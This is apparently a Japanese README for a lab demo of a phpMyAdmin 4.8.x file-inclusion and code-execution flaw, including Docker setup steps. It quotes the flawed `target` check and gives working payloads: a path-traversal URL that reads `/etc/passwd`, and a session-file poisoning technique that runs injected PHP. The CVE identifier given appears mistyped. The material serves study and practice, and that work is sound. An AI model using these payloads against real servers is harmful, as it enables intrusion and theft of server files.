
CVE-2018-1263(phpMyAdmin RCE/LFI)の教育用エクスプロイトデモ。Dockerによる脆弱な環境のセットアップと、Webアプリケーションエクスプロイト学習のためのステップバイステップの攻撃ウォークスルーを含みます。
このガイドでは、脆弱性のあるコンポーネントをインストールし、CVE-2018-1263 で言及されている phpMyAdmin のバグに関連する攻撃を実行する方法を説明します。
このエクスプロイトは、phpMyAdmin バージョン 4.8.x(4.8.2 より前)で発見された問題に関連しています。この問題を悪用すると、攻撃者はサーバー上でリモートコード実行とローカルファイルインクルージョンを実行できます。この脆弱性は、phpMyAdmin 内のページをリダイレクトおよびロードする役割を担うコード部分に起因します。このコードにはホワイトリスト登録済みページの検証に欠陥があり、攻撃を可能にしています。攻撃者は認証されている必要があります。ただし、$cfg['AllowArbitraryServer'] = true の場合(攻撃者がすでに制御している任意のホストを指定し、phpMyAdmin 上で任意のコードを実行できる)と、$cfg['ServerDefault'] = 0 の場合(ログイン要件を回避し、認証なしで脆弱なコードを実行する)は例外です。
この脆弱性は、脆弱なパスチェック関数における検証バイパスによって引き起こされます。この脆弱性により、認証されたリモート攻撃者がサーバー上で任意の PHP コードを実行できるようになります。
phpMyAdmin の index.php にはファイルインクルージョンが存在し、URL に target というパラメータを指定することでトリガーできます。target パラメータを検証するコード部分は次のようになります。
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
このコードでは、if 条件が満たされると include $_REQUEST['target']; が実行されます。したがって、実行したい処理を実行するには、if 条件をバイパスするだけで済みます。
if 条件を見てみましょう。
$target_blacklist に含まれていないことを制限します。
$target_blacklist は if 条件の直前に定義されており、import.php と export.php が含まれています。つまり、これら 2 つのページ以外はすべて許可されます。Core::checkPageValidity($_REQUEST['target']) を使用したページ有効性のホワイトリストチェックです。
checkPageValidity は $page から ? より後ろのすべてを取り除き、それがホワイトリストに含まれているかどうかをチェックします。? より後ろの文字列は URL パスの一部ではありません。サンプルのホワイトリストもコードスニペットに示されています。public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page は $_REQUEST['target'] から直接取得されるため、攻撃者が $page を完全に制御できることです。前述のとおり、攻撃者は URL の $_REQUEST['target'] パラメータを介して checkPageValidity 関数の $page を完全に制御できます。攻撃者が $_REQUEST['target'] パラメータを使用して $page に次のような値を送信したと仮定しましょう。
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
checkPageValidity 関数は次の処理を実行します。
? で分割し、最初の部分を $page に代入します。したがって、この例の場合、$page = db_sql.php となります。$_page、つまり db_sql.php がホワイトリストに含まれているかどうかをチェックします。ホワイトリストに含まれているため、関数は True を返し、index.php に戻ります。index.php の if 条件が True になったので、上記の index.php のコードスニペットに示されている次の行が実行されます。
include $_REQUEST['target'];
次に起こることは次のとおりです。
$_REQUEST['target'] の値をインクルードするため、次のリクエストが実行されます。
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php が存在するかどうかをチェックせずにパスを /../../../../../../../../etc/passwd に自動的に変換するため、/../../../../../../../../etc/passwd が実行され、/etc/passwd ファイルの内容が応答として攻撃者に送信されます。これを使用して、ローカルファイルインクルージョンを実行したり、リモートコード実行を実行してリバースシェルを取得したりできます。phpMyAdmin でクエリを実行するたびに、セッションファイルが作成され、クエリ内容とともに /tmp ディレクトリに保存されます。セッションファイルは sess_< SESSION ID > という名前になります。セッション ID は、ブラウザの検証機能(Inspect)を使用して Cookie 内で簡単に見つけることができます。
phpMyAdmin で次のクエリを実行すると、
SELECT '<?php phpinfo();exit;?>'
そのクエリはセッションファイルに保存されます。phpMyAdmin のセッション ID が e15cffd3ab25a631136611fba9ca2042 であると仮定しましょう。
次に、ブラウザで次のアドレスをトリガーすると、
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
phpMyAdmin はセッションページをロードしようとし、ページにはクエリを通じて指定された PHP コードが含まれているため、PHP コードが実行され、この例ではブラウザに読み込まれたページに phpinfo が表示されます。この手法を使用すると、リモートサーバー上で任意のコードを実行できます。
エクスプロイト環境には、脆弱性のあるバージョンの phpMyAdmin と mysql が必要です。必要なコンポーネントをインストールするには、docker コンテナを使用します。脆弱性のあるバージョンの phpMyAdmin には、Vulhub の事前構築済み docker 環境を使用し、mysql には dockerhub の最新の公式バージョンを使用します。インストールスクリプトは、リポジトリ内にある docker compose yml スクリプトとして提供されています。
対象マシンに docker と docker-compose がインストールされていることを前提としています。インストールされていない場合は、docker のドキュメントを参照してインストールしてください。docker がインストールされたら、次の手順を実行して脆弱性のあるコンポーネントをセットアップします。
まず、対象マシンでリポジトリをクローンし、クローンしたディレクトリに移動します。
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
次に、次のコマンドで docker compose スクリプトを実行します。
sudo docker-compose up -d
インストールプロセスが完了すると、docker はマシンのポート 8080 で phpMyAdmin ページを公開します。次のアドレス形式でブラウザにページを開いて確認できます。
http://your-machine-ip:8080
インストールプロセスが成功すると、次のようなページが表示されます。

次のビデオは、攻撃の実行方法に関するチュートリアルです。